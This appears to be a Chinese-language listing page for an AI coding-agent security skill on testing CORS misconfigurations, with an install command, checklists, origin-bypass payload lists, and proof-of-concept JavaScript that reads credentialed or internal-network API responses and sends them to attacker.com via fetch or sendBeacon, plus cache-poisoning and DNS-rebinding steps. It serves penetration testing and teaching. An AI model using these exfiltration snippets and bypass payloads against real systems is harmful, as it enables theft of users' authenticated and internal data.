关于 cors-cross-origin-misconfiguration
用于检查 CORS 配置错误的安全技能,重点关注浏览器攻击者读取已认证 API 响应的风险。内容涵盖来源反射、宽松白名单、凭据处理、缓存行为及相关攻击路径。
主要功能
- 01检查来源反射与薄弱白名单
- 02测试凭据请求和 null 来源
- 03检查预检请求与内部 API 暴露
- 04说明 Vary: Origin 缓存风险
- 05涵盖子域名与正则绕过模式
适用场景
- 01评估已认证 API 的 CORS 配置
- 02测试来源白名单能否被绕过
- 03检查缓存响应是否按 Origin 区分
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill cors-cross-origin-misconfiguration安装后在 Claude Code 中输入/cors-cross-origin-misconfiguration确认已加载。
附带文件SCENARIOS.md
详细介绍
技能:CORS 配置错误——带凭据的源、反射与信任边界错误
AI 加载指令:当浏览器可以跨源访问经过身份验证的 API 时,使用此技能。重点关注反射的源、带凭据的请求、通配符信任、解析器错误和源允许列表绕过。有关 JSONP 劫持的深入分析、同源策略内部机制、蜜罐去匿名化以及 CORS 与 JSONP 的比较,请加载配套的 SCENARIOS.md。
扩展场景
在以下情况下也请加载 SCENARIOS.md:
- 完整的 JSONP 劫持攻击场景——水坑攻击 + 通过
<script>跨源窃取数据 - 通过 JSONP 进行蜜罐去匿名化——利用社交平台的 JSONP 端点识别匿名访客
- 深入分析同源策略——协议/主机名/端口定义、
document.domain子域放宽及其安全风险 - CORS 与 JSONP 技术比较——方法、错误处理、凭据行为、迁移路径
- CORS 利用载荷——通过
credentials: include反射源、通过沙箱 iframe 使用 null 源 - 双站点攻击实验环境模式——localhost:8981(目标)+ localhost:8982(攻击者)测试设置
1. 何时加载此技能
在以下情况下加载:
- 响应中包含
Access-Control-Allow-Origin、Access-Control-Allow-Credentials或预检标头 - 基于浏览器的攻击路径可能读取经过身份验证的 API 响应
- JSON 端点看似受到 CSRF 防护,但可通过跨源方式读取
2. 高价值配置错误检查
| 主题 | 检查内容 |
|---|---|
| 带凭据的通配符 | Access-Control-Allow-Origin: * 与凭据支持并存,或存在等效的错误行为 |
| 反射源 | 服务器回显任意 Origin |
| 弱允许列表 | 后缀、前缀、子串、正则表达式或大小写混合匹配错误 |
null 源 | 接受沙箱、文件或序列化源 |
| 预检信任 | 方法和标头的允许范围过宽 |
| 内部 API 暴露 | 可跨源读取管理员或租户数据 |
3. 快速初步判断
- 发送精心构造的
Origin标头并检查是否存在反射。 - 分别测试带凭据和不带凭据的情况。
- 使用攻击者子域和解析器边缘情况探测允许列表绕过。
- 如果可读取的数据敏感,将攻击链与账户或租户影响关联起来。
4. 相关路径
- 滥用会话或 JSON 操作:csrf cross site request forgery
- OAuth 令牌泄露与回调绑定:oauth oidc misconfiguration
- API 身份验证上下文:api auth and jwt abuse
5. NULL 源利用
如何发送 Origin: null
| 上下文 | Origin 标头值 |
|---|---|
沙箱 iframe(<iframe sandbox>) | null |
data: URI 方案 | null |
file: 协议(本地 HTML) | null |
| 跨源重定向链(某些浏览器) | null |
来自不透明源的 blob: URL 中的序列化数据 | null |
利用方式
如果服务器在源允许列表中包含 null,或反射该值:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>
沙箱 iframe 发送 Origin: null → 服务器反射 null → 攻击者读取带凭据的响应。
6. 子域 XSS → CORS 绕过攻击链
攻击流程
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
PoC(通过 blog.target.com 上的 XSS 注入)
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});
原理
blog.target.com与api.target.com同站点 → 发送SameSiteCookie- CORS 允许列表包含
*.target.com→Access-Control-Allow-Origin: https://blog.target.com - 两者结合:绕过 SameSite 限制 + 跨源读取 = 从任意子域上的 XSS 完全访问 API
此攻击链的侦察方法
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify
7. VARY:ORIGIN 缓存问题
问题
当服务器在 Access-Control-Allow-Origin 中反射 Origin,但响应中未包含 Vary: Origin 时,中间缓存(CDN、反向代理)可能会向不同源提供同一份缓存响应:
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)
检测
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
利用
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
修复验证
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
8. 正则表达式绕过模式
用于来源验证的常见有缺陷正则表达式模式:
| 预期模式 | 缺陷 | 绕过来源 |
|---|---|---|
^https?://.*\.target\.com$ | .* 匹配任何内容,包括 - | https://attacker-target.com |
^https?://.*target\.com$ | 子域名后缺少锚点 | https://nottarget.com、https://attacker.com/.target.com |
target\.com(子字符串匹配) | 没有锚点 | https://attacker.com?target.com |
^https?://(.*\.)?target\.com$ | 缺少端口限制 | https://target.com.attacker.com:443 |
^https://[a-z]+\.target\.com$ | 路径后缺少结束锚点 | N/A(但无法匹配包含 - 或数字的子域名) |
| 易受回溯攻击的正则表达式 | ReDoS | https://aaaa...aaa.target.com(耗尽 CPU) |
用于绕过来源验证的测试载荷
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%[email protected]
https://attacker.com#.target.com
https://attacker.com?.target.com
null
进阶:Unicode 规范化绕过
https://target.com → https://ⓣarget.com (Unicode homoglyph)
一些来源验证器会在比较后规范化 Unicode,而浏览器发送的却是原始值——反之亦然。
9. 内部网络 CORS 利用
场景
一个仅供内部使用的 API(例如,http://192.168.1.100:8080/admin)配置为:
Access-Control-Allow-Origin: *
内部 API 经常使用通配符 CORS,因为“只有内部用户才能访问”。
攻击链
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});
通过 CORS 时序扫描端口
即使没有 Access-Control-Allow-Origin: *,攻击者也可以推断内部服务是否可用:
- 端口开放:连接已建立 → CORS 错误(时序不同)
- 端口关闭:连接被拒绝 → 快速错误
- 主机宕机:超时 → 缓慢错误
与 DNS 重绑定结合
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable
评论
支持 Markdown